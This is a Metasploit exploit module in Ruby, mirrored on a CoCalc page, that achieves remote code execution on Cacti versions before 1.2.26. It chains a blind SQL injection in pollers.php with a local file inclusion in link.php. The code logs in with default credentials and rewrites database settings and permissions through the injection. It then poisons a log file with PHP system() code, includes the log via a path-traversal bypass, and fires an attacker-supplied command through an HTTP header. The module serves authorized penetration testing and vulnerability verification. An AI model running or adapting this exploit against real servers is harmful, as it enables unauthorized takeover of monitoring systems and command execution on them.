CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::SQLi
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::Cacti
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
class CactiError < StandardError; end
16
class CactiNotFoundError < CactiError; end
17
class CactiVersionNotFoundError < CactiError; end
18
class CactiNoAccessError < CactiError; end
19
class CactiCsrfNotFoundError < CactiError; end
20
class CactiLoginError < CactiError; end
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'Cacti RCE via SQLi in pollers.php',
27
'Description' => %q{
28
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI
29
(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to
30
achieve RCE. Authentication is needed and the account must have access
31
to the vulnerable PHP script (`pollers.php`). This is granted by
32
setting the `Sites/Devices/Data` permission in the `General
33
Administration` section.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Aleksey Solovev', # Initial research and discovery
38
'Christophe De La Fuente' # Metasploit module
39
],
40
'References' => [
41
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi
42
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)
43
[ 'CVE', '2023-49085'], # SQLi
44
[ 'CVE', '2023-49084'] # LFI (RCE)
45
],
46
'Platform' => ['unix linux win'],
47
'Privileged' => false,
48
'Arch' => ARCH_CMD,
49
'Targets' => [
50
[
51
'Linux Command',
52
{
53
'Arch' => ARCH_CMD,
54
'Platform' => [ 'unix', 'linux' ]
55
}
56
],
57
[
58
'Windows Command',
59
{
60
'Arch' => ARCH_CMD,
61
'Platform' => 'win'
62
}
63
]
64
],
65
'DefaultOptions' => {
66
'SqliDelay' => 3
67
},
68
'DisclosureDate' => '2023-12-20',
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'Stability' => [CRASH_SAFE],
72
'Reliability' => [REPEATABLE_SESSION],
73
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
74
}
75
)
76
)
77
78
register_options(
79
[
80
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
81
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
82
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
83
]
84
)
85
end
86
87
def sqli
88
@sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|
89
sqli_final_payload = '"'
90
sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')
91
sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""
92
send_request_cgi(
93
'uri' => normalize_uri(target_uri.path, 'pollers.php'),
94
'method' => 'POST',
95
'keep_cookies' => true,
96
'vars_post' => {
97
'__csrf_magic' => @csrf_token,
98
'name' => 'Main Poller',
99
'hostname' => 'localhost',
100
'timezone' => '',
101
'notes' => '',
102
'processes' => '1',
103
'threads' => '1',
104
'id' => '2',
105
'save_component_poller' => '1',
106
'action' => 'save',
107
'dbhost' => sqli_final_payload
108
},
109
'vars_get' => {
110
'header' => 'false'
111
}
112
)
113
end
114
end
115
116
def check
117
# Step 1 - Check if the target is Cacti and get the version
118
print_status('Checking Cacti version')
119
res = send_request_cgi(
120
'uri' => normalize_uri(target_uri.path, 'index.php'),
121
'method' => 'GET',
122
'keep_cookies' => true
123
)
124
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
125
126
html = res.get_html_document
127
begin
128
@cacti_version = parse_version(html)
129
version_msg = "The web server is running Cacti version #{@cacti_version}"
130
rescue CactiNotFoundError => e
131
return CheckCode::Safe(e.message)
132
rescue CactiVersionNotFoundError => e
133
return CheckCode::Unknown(e.message)
134
end
135
136
if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')
137
print_good(version_msg)
138
else
139
return CheckCode::Safe(version_msg)
140
end
141
142
# Step 2 - Login
143
@csrf_token = parse_csrf_token(html)
144
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?
145
146
begin
147
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
148
rescue CactiError => e
149
return CheckCode::Unknown("Login failed: #{e}")
150
end
151
152
@logged_in = true
153
154
# Step 3 - Check if the user has enough permissions to reach `pollers.php`
155
print_status('Checking permissions to access `pollers.php`')
156
res = send_request_cgi(
157
'uri' => normalize_uri(target_uri.path, 'pollers.php'),
158
'method' => 'GET',
159
'keep_cookies' => true,
160
'headers' => {
161
'X-Requested-With' => 'XMLHttpRequest'
162
}
163
)
164
return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?
165
return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401
166
return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200
167
168
# Step 4 - Check if it is vulnerable to SQLi
169
print_status('Attempting SQLi to check if the target is vulnerable')
170
return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable
171
172
CheckCode::Vulnerable
173
end
174
175
def get_ext_link_id
176
# Get an unused External Link ID with a time-based SQLi
177
@ext_link_id = rand(1000..9999)
178
loop do
179
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
180
sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")
181
end
182
break if elapsed_time < datastore['SqliDelay']
183
184
@ext_link_id = rand(1000..9999)
185
end
186
vprint_good("Got external link ID #{@ext_link_id}")
187
end
188
189
def exploit
190
if @csrf_token.blank? || @cacti_version.blank?
191
res = send_request_cgi(
192
'uri' => normalize_uri(target_uri.path, 'index.php'),
193
'method' => 'GET',
194
'keep_cookies' => true
195
)
196
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?
197
198
html = res.get_html_document
199
if @csrf_token.blank?
200
print_status('Getting the CSRF token to login')
201
@csrf_token = parse_csrf_token(html)
202
# exit early since without the CSRF token, we cannot login
203
fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?
204
205
vprint_good("CSRF token: #{@csrf_token}")
206
end
207
208
if @cacti_version.blank?
209
print_status('Getting the version')
210
begin
211
@cacti_version = parse_version(html)
212
vprint_good("Version: #{@cacti_version}")
213
rescue CactiError => e
214
# We can still log in without the version
215
print_bad("Could not get the version, the exploit might fail: #{e}")
216
end
217
end
218
end
219
220
unless @logged_in
221
begin
222
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
223
rescue CactiError => e
224
fail_with(Failure::NoAccess, "Login failure: #{e}")
225
end
226
end
227
228
@log_file_path = "log/cacti#{rand(1..999)}.log"
229
print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")
230
@log_setting_name_bak = '_path_cactilog'
231
sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")
232
@do_settings_cleanup = true
233
sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")
234
register_file_for_cleanup(@log_file_path)
235
236
print_status("Inserting the log file path `#{@log_file_path}` to the external links table")
237
log_file_path_lfi = "../../#{@log_file_path}"
238
# Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):
239
# $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);
240
log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')
241
get_ext_link_id
242
sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")
243
@do_ext_link_cleanup = true
244
245
print_status('Getting the user ID and setting permissions (it might take a few minutes)')
246
user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")
247
fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)
248
sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")
249
@do_perms_cleanup = true
250
251
print_status('Logging in again to apply new settings and permissions')
252
# Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.
253
# This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.
254
cookie_jar_bak = cookie_jar.clone
255
cookie_jar.clear
256
csrf_token_bak = @csrf_token
257
258
begin
259
@csrf_token = get_csrf_token
260
rescue CactiError => e
261
fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")
262
end
263
264
begin
265
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
266
rescue CactiError => e
267
fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")
268
end
269
270
print_status('Poisoning the log')
271
header_name = rand_text_alpha(1).upcase
272
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")
273
274
print_status('Triggering the payload')
275
# Expecting no response
276
send_request_cgi({
277
'uri' => normalize_uri(target_uri.path, 'link.php'),
278
'method' => 'GET',
279
'keep_cookies' => true,
280
'headers' => {
281
header_name => payload.encoded
282
},
283
'vars_get' => {
284
'id' => @ext_link_id,
285
'headercontent' => 'true'
286
}
287
}, 1)
288
289
# Restore the cookie_jar and the CSRF token to run cleanup without being blocked
290
cookie_jar.clear
291
self.cookie_jar = cookie_jar_bak
292
@csrf_token = csrf_token_bak
293
end
294
295
def cleanup
296
super
297
298
if @do_ext_link_cleanup
299
print_status('Cleaning up external link using SQLi')
300
sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")
301
end
302
303
if @do_perms_cleanup
304
print_status('Cleaning up permissions using SQLi')
305
sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")
306
end
307
308
if @do_settings_cleanup
309
print_status('Cleaning up the log path in `settings` table using SQLi')
310
sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")
311
sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")
312
end
313
end
314
end
315
316